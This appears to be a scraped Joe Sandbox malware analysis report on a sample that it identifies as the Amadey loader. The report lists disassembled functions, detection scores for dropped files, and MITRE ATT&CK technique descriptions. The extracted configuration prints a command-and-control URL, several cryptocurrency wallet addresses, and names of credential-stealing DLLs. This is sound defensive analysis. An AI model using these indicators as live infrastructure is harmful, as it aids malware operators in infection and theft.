Instruction ID: bf3b8f352f034401cae5fe4ee48242966700cb3a51b83b4c5e9cfcd39ffa1627
Opcode Fuzzy Hash: 2c3e49b835ea12997debc29a5b1d4e17638cfc5d7d2de65e316ace0b92828a8b
Instruction Fuzzy Hash: D411C8723046116ED6117774AC89D2B26FADBE2775B250234F129C36D1DFB18EA38F10

Uniqueness

Uniqueness Score: -1.00%

Function 0018E87D Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,0018E9E2,00000000,?,0019370A,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 0018E893
GetLastError.KERNEL32(?,0019370A,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,0018E9E2,00000000,00000104,?), ref: 0018E89D
__dosmaperr.LIBCMT ref: 0018E8A4

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 22d60ec0f224f2747f1574268d8bfd63412da41ab0d0c54f4321660d317933a1
Instruction ID: 32a847d88d38f98c5b731cde71e67965701368e73e634ec47b2f2f6aad9529a2
Opcode Fuzzy Hash: 22d60ec0f224f2747f1574268d8bfd63412da41ab0d0c54f4321660d317933a1
Instruction Fuzzy Hash: B9F03132700115BB8B207FA6DC0895ABFEAFF563A03054921F519C7560C731E961DFD0

Uniqueness

Uniqueness Score: -1.00%

Function 0018E8E6 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,0018E9E2,00000000,?,00193695,00000000,00000000,0018E9E2,?,?,00000000,00000000,00000001), ref: 0018E8FC
GetLastError.KERNEL32(?,00193695,00000000,00000000,0018E9E2,?,?,00000000,00000000,00000001,00000000,00000000,?,0018E9E2,00000000,00000104), ref: 0018E906
__dosmaperr.LIBCMT ref: 0018E90D

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 8f73453e03bb9108877240766f33a4ec2df0273bcea3195c3c2c145e48847ea9
Instruction ID: b9589941fdbeab300bfb7818ff5314bf62d11239128f62a8bf85861de6c42021
Opcode Fuzzy Hash: 8f73453e03bb9108877240766f33a4ec2df0273bcea3195c3c2c145e48847ea9
Instruction Fuzzy Hash: 27F08132A00115BB8B207FA2CC48956BFE9FF843A43054525F51CD6520C771EA51CFD0

Uniqueness

Uniqueness Score: -1.00%

Function 0019638F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00175140,0000000F,001A68F8,00000000,00175140,?,00195AA7,00175140,00000001,00175140,00175140,?,00192ECD,00000000,?,00175140), ref: 001963A6
GetLastError.KERNEL32(?,00195AA7,00175140,00000001,00175140,00175140,?,00192ECD,00000000,?,00175140,00000000,00175140,?,00193421,00175140), ref: 001963B2

Part of subcall function 00196378: CloseHandle.KERNEL32(FFFFFFFE,001963C2,?,00195AA7,00175140,00000001,00175140,00175140,?,00192ECD,00000000,?,00175140,00000000,00175140), ref: 00196388

___initconout.LIBCMT ref: 001963C2

Part of subcall function 0019633A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00196369,00195A94,00175140,?,00192ECD,00000000,?,00175140,00000000), ref: 0019634D

WriteConsoleW.KERNEL32(00175140,0000000F,001A68F8,00000000,?,00195AA7,00175140,00000001,00175140,00175140,?,00192ECD,00000000,?,00175140,00000000), ref: 001963D7

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 763d04d7c2b5eb22900290080fb5c93211358bd45026aef842cc4295c8ed608f
Instruction ID: 2d431681b84f47dcbcee1140c047ed2340874825637a131cf8f4ac9c01902318
Opcode Fuzzy Hash: 763d04d7c2b5eb22900290080fb5c93211358bd45026aef842cc4295c8ed608f
Instruction Fuzzy Hash: E9F0A032500224BBCF221F90EC04A9A3F66FB593A4B044014FA1C91230CB728EA0DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001871BA Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00187157,00000064), ref: 001871DD
LeaveCriticalSection.KERNEL32(001A9708,000000FF,?,00187157,00000064,?,?,?,00173E30,001AC468,5D32641E,?,00000000,00198818,000000FF), ref: 001871E7
WaitForSingleObjectEx.KERNEL32(000000FF,00000000,?,00187157,00000064,?,?,?,00173E30,001AC468,5D32641E,?,00000000,00198818,000000FF), ref: 001871F8
EnterCriticalSection.KERNEL32(001A9708,?,00187157,00000064,?,?,?,00173E30,001AC468,5D32641E,?,00000000,00198818,000000FF), ref: 001871FF

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: f3c7bce297783768bb80bab5b43fff7e0ea5fef90bd3cab92e2a93f90472c380
Instruction ID: 9f8be105774642a6010cdf98b6beb4d9f41b0a44e3a2ff1e24451fa99a3ab6aa
Opcode Fuzzy Hash: f3c7bce297783768bb80bab5b43fff7e0ea5fef90bd3cab92e2a93f90472c380
Instruction Fuzzy Hash: 56E0123A555124B7CB026FD4EC09AD97E59FB0AB72B010022F50566970C77199C09FF5

Uniqueness

Uniqueness Score: -1.00%

Function 0018C8BB Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0018C8C4

Part of subcall function 0018D653: HeapFree.KERNEL32(00000000,00000000,?,0019142F,?,00000000,?,?,?,00191456,?,00000007,?,?,00191858,?), ref: 0018D669
Part of subcall function 0018D653: GetLastError.KERNEL32(?,?,0019142F,?,00000000,?,?,?,00191456,?,00000007,?,?,00191858,?,?), ref: 0018D67B

_free.LIBCMT ref: 0018C8D7
_free.LIBCMT ref: 0018C8E8
_free.LIBCMT ref: 0018C8F9

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 959569b61a1e564c9556ef587aa43e6b46c4fc5c26ada5b96523d814ed278188
Instruction ID: 8f6593400d3be3ce56afdee7066195a9ffdc5a4d00d5df9f5f5e8549c9ec0da3
Opcode Fuzzy Hash: 959569b61a1e564c9556ef587aa43e6b46c4fc5c26ada5b96523d814ed278188
Instruction Fuzzy Hash: EEE0BF714006269AC7027F14FD0188D3B75AB96B30391C007F5282AA75FB3607D5DF86

Uniqueness

Uniqueness Score: -1.00%

Function 0017B5E0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 481COMMON

Download Yara Rule

Strings

-, xrefs: 0017BBF6

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 2e91d6d383c731ca7411ea2a7d95e8340d1483974194feba214463dca0a4f9b1
Instruction ID: 2b286b14a4733472213a90f87a98802132989d88df6311ab86516882c0548a38
Opcode Fuzzy Hash: 2e91d6d383c731ca7411ea2a7d95e8340d1483974194feba214463dca0a4f9b1
Instruction Fuzzy Hash: C82291B0D052589BEF25E724CD9A7DDBB75AB22304F5481D8D40D27283EB751F888F92

Uniqueness

Uniqueness Score: -1.00%

Function 0018BF2A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, xrefs: 0018BF6D, 0018BF74, 0018BFAA

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
API String ID: 0-4106172500
Opcode ID: c1dee6f82041d82ebf8cddd2683cd6715e5509d0f3fff295d6924513df48ed46
Instruction ID: 88f21fdfa88d8a2ad9bf5d671b1b8e6e5ce4f498b578c0550fcc7f31d1a609d5
Opcode Fuzzy Hash: c1dee6f82041d82ebf8cddd2683cd6715e5509d0f3fff295d6924513df48ed46
Instruction Fuzzy Hash: 8841A275A04218EFCB22EF999C8199EBBF8EB95350F100066F504EB251D7708B80DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00188F7D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00188FA2

Strings

MOC, xrefs: 00188FB4
RCC, xrefs: 00188FBC

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 3749d36103dfcdb0c2ba84fa81ba52e18fceda1efcd983c7482836c25caae1a8
Instruction ID: 4714bbf4a0e3ce36b9953eca866c36c31e1c0fab92769ba168df674254216150
Opcode Fuzzy Hash: 3749d36103dfcdb0c2ba84fa81ba52e18fceda1efcd983c7482836c25caae1a8
Instruction Fuzzy Hash: 3A411A71900209AFCF15EFA8DD81AEEBBB5FF48304F184159F904A7251D7359A51DF90

Uniqueness

Uniqueness Score: -1.00%

Function 0018207A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00182093

Strings

H, xrefs: 00182146
5120, xrefs: 001820DA

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID: 5120$H
API String ID: 514040917-2391956277
Opcode ID: a549f61c0f782d51b8400e8d519ce676df4cc00c755c7aa6594a4ad50f655f6d
Instruction ID: 21f516f355cfa13bf31ce763886417e4033d135882834e256590f65bc6015671
Opcode Fuzzy Hash: a549f61c0f782d51b8400e8d519ce676df4cc00c755c7aa6594a4ad50f655f6d
Instruction Fuzzy Hash: 472189B0900348ABDB18FF28C9967DD7FB9AB16344F5402CCE54967282D7755B488FA3

Uniqueness

Uniqueness Score: -1.00%

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\clip64[1].dll	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	ReversingLabs: Detection: 51%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	ReversingLabs: Detection: 80%

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Joe Sandbox ML: detected

Source: 0.3.file.exe.4aa7620.0.raw.unpack	Malware Configuration Extractor: Amadey {"C2 url": "62.204.41.4/Gol478Ns/index.php", "Version": "3.66"}
Source: 20.2.rundll32.exe.6e7e0000.0.unpack	Malware Configuration Extractor: Amadey {"Wallet Addresses": ["bc1qslzv7hczpsatc8lq285gy38r4af0c3alsc4m77", "0x89E34Ee2016a5E5a97b5E9598C251D2a2746Ba0D", "LdYspWr6nkQ3ZNNTsmba77u4frHDhji1Nv", "DBjzffi3umhLQbUGLRoNQwZ4pjoKyNFahf", "42zbZM5ozb4iDSN7hxNnQ1DSAvEmGY3z2KvAYmMxSJkUCc5bJyJ5hdkUu4324VJx8ACcDJJXg2NbRdWVcDyS87tyLikjVVJ"]}

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Services
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Amadey

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\nika.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ajAf.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\clip64[1].dll

C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe

C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe

C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll

C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll

\Device\ConDrv

Static File Info

Windows Analysis Report
file.exe

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

